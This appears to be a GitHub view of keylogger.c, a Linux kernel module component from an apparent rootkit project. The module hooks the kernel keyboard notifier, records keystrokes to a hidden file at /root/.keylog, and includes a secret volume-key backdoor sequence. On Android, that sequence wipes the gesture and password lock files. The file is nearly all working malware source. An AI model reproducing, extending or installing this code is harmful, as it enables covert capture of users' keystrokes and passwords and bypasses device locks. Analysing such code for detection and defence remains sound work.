-
Notifications
You must be signed in to change notification settings - Fork 210
/
keylogger.c
308 lines (242 loc) · 6.78 KB
/
keylogger.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
#include "common.h"
#include "keylog.h"
#include <linux/keyboard.h>
#include <linux/kthread.h>
#include <linux/uaccess.h>
#if defined(_CONFIG_UNLOCK_)
struct task_struct *unlock_ts;
unsigned long sequence_i = 0;
volatile unsigned long to_unlock = 0;
DECLARE_WAIT_QUEUE_HEAD(unlocker_event);
unsigned long sequence[] = {
42, // Volume Up downpress
63232,
63232,
58, // Volume Down downpress
61959,
61959,
42, // Volume Up uppress
63232,
63232,
58, // Volume Down uppress
61959,
61959
};
#define SEQUENCE_SIZE sizeof(sequence)/sizeof(unsigned long)
#endif
#if defined(_CONFIG_LOGFILE_)
#define FLUSHSIZE 16
#define LOGSIZE 128
#define LOG_FILE "/root/.keylog"
struct task_struct *log_ts;
struct file *logfile;
volatile unsigned long to_flush = 0;
unsigned long logidx = 0;
char logbuf[LOGSIZE];
DECLARE_WAIT_QUEUE_HEAD(flush_event);
/* Translates "normal" (ASCII) keys */
static void ksym_std ( struct keyboard_notifier_param *param, char *buf )
{
unsigned char val = param->value & 0xff;
unsigned long len;
DEBUG_KEY("%s: Logging key '%s'\n", __func__, ascii[val]);
len = strlcpy(&logbuf[logidx], ascii[val], LOGSIZE - logidx);
logidx += len;
}
/* Translates F-keys and other top row keys */
static void ksym_fnc ( struct keyboard_notifier_param *param, char *buf )
{
unsigned char val = param->value & 0xff;
unsigned long len;
// Not an F-key
if ( val & 0xf0 )
len = strlcpy(&logbuf[logidx], upper[val & 0x0f], LOGSIZE - logidx);
else // F-key
len = strlcpy(&logbuf[logidx], fncs[val], LOGSIZE - logidx);
logidx += len;
}
/* Translates "lock" keys */
static void ksym_loc ( struct keyboard_notifier_param *param, char *buf )
{
/* XXX: Need lock-key table */
}
/* Translates numpad keys */
static void ksym_num ( struct keyboard_notifier_param *param, char *buf )
{
/* XXX: Need numpad-key tables (locked or unlocked) */
}
/* Translates arrow keys */
static void ksym_arw ( struct keyboard_notifier_param *param, char *buf )
{
/* XXX: Need arrow-key table */
}
/* Translates modifier keys */
static void ksym_mod ( struct keyboard_notifier_param *param, char *buf )
{
/* XXX: Need mod-key table */
}
/* Translates the capslock key */
static void ksym_cap ( struct keyboard_notifier_param *param, char *buf )
{
}
void translate_keysym ( struct keyboard_notifier_param *param, char *buf )
{
unsigned char type = (param->value >> 8) & 0x0f;
DEBUG_KEY("Translating keysym %u, BEFORE: logidx=%lu, FLUSHSIZE=%u, LOGSIZE=%u\n", param->value, logidx, FLUSHSIZE, LOGSIZE);
if ( logidx >= LOGSIZE )
{
DEBUG("KEYLOGGER: Failed to log key, buffer is full\n");
return;
}
switch ( type )
{
case 0x0:
ksym_std(param, buf);
break;
case 0x1:
ksym_fnc(param, buf);
break;
case 0x2:
ksym_loc(param, buf);
break;
case 0x3:
ksym_num(param, buf);
break;
case 0x6:
ksym_arw(param, buf);
break;
case 0x7:
ksym_mod(param, buf);
break;
case 0xa:
ksym_cap(param, buf);
break;
case 0xb:
ksym_std(param, buf);
break;
}
DEBUG_KEY("AFTER keysym translate: logidx=%lu, logbuf=%s\n", logidx, logbuf);
if ( logidx >= FLUSHSIZE && to_flush == 0 )
{
DEBUG("Keylog buffer is near full, flush to file\n");
to_flush = 1;
wake_up_interruptible(&flush_event);
}
}
int flusher ( void *data )
{
loff_t pos = 0;
mm_segment_t old_fs;
ssize_t ret;
while ( 1 )
{
wait_event_interruptible(flush_event, (to_flush == 1));
DEBUG("Inside the flusher thread, flush keylog buffer to file\n");
if ( logfile )
{
old_fs = get_fs();
set_fs(get_ds());
ret = vfs_write(logfile, logbuf, logidx, &pos);
set_fs(old_fs);
DEBUG("vfs_write ret=%d\n", ret);
}
to_flush = 0;
logidx = 0;
if ( kthread_should_stop() )
break;
}
return 0;
}
#endif
int notify ( struct notifier_block *nblock, unsigned long code, void *_param )
{
struct keyboard_notifier_param *param = _param;
DEBUG_KEY("KEYLOGGER %i %s\n", param->value, (param->down ? "down" : "up"));
#if defined(_CONFIG_LOGFILE_)
/* Only log if there is a logfile and the key is pressed down */
if ( logfile && param->down )
{
switch ( code )
{
case KBD_KEYCODE:
break;
case KBD_UNBOUND_KEYCODE:
case KBD_UNICODE:
break;
case KBD_KEYSYM:
translate_keysym(param, logbuf);
break;
case KBD_POST_KEYSYM:
break;
default:
DEBUG("KEYLOGGER: Received unknown code\n");
break;
}
}
#endif
#if defined(_CONFIG_UNLOCK_)
if ( sequence[sequence_i] == param->value )
{
if ( ++sequence_i == SEQUENCE_SIZE )
{
DEBUG("Key sequence detected, unlock the screen!\n");
to_unlock = 1;
sequence_i = 0;
wake_up_interruptible(&unlocker_event);
}
}
else
sequence_i = 0;
#endif
return NOTIFY_OK;
}
#if defined(_CONFIG_UNLOCK_)
int unlocker ( void *data )
{
while ( 1 )
{
wait_event_interruptible(unlocker_event, (to_unlock == 1));
DEBUG("Inside the unlocker thread, removing screen lock\n");
#if defined(_CONFIG_X86_)
// Kill screenlock
#else // ARM
filp_close(filp_open("/data/system/gesture.key", O_TRUNC, 0), NULL);
filp_close(filp_open("/data/system/password.key", O_TRUNC, 0), NULL);
#endif
to_unlock = 0;
if ( kthread_should_stop() )
break;
}
return 0;
}
#endif
static struct notifier_block nb = {
.notifier_call = notify
};
void keylogger_init ( void )
{
DEBUG("Installing keyboard sniffer\n");
register_keyboard_notifier(&nb);
#if defined(_CONFIG_UNLOCK_)
unlock_ts = kthread_run(unlocker, NULL, "kthread");
#endif
#if defined(_CONFIG_LOGFILE_)
logfile = filp_open(LOG_FILE, O_WRONLY|O_APPEND|O_CREAT, S_IRWXU);
if ( ! logfile )
DEBUG("KEYLOGGER: Failed to open log file: %s", LOG_FILE);
log_ts = kthread_run(flusher, NULL, "kthread");
#endif
}
void keylogger_exit ( void )
{
DEBUG("Uninstalling keyboard sniffer\n");
#if defined(_CONFIG_LOGFILE_)
kthread_stop(log_ts);
if ( logfile )
filp_close(logfile, NULL);
#endif
#if defined(_CONFIG_UNLOCK_)
kthread_stop(unlock_ts);
#endif
unregister_keyboard_notifier(&nb);
}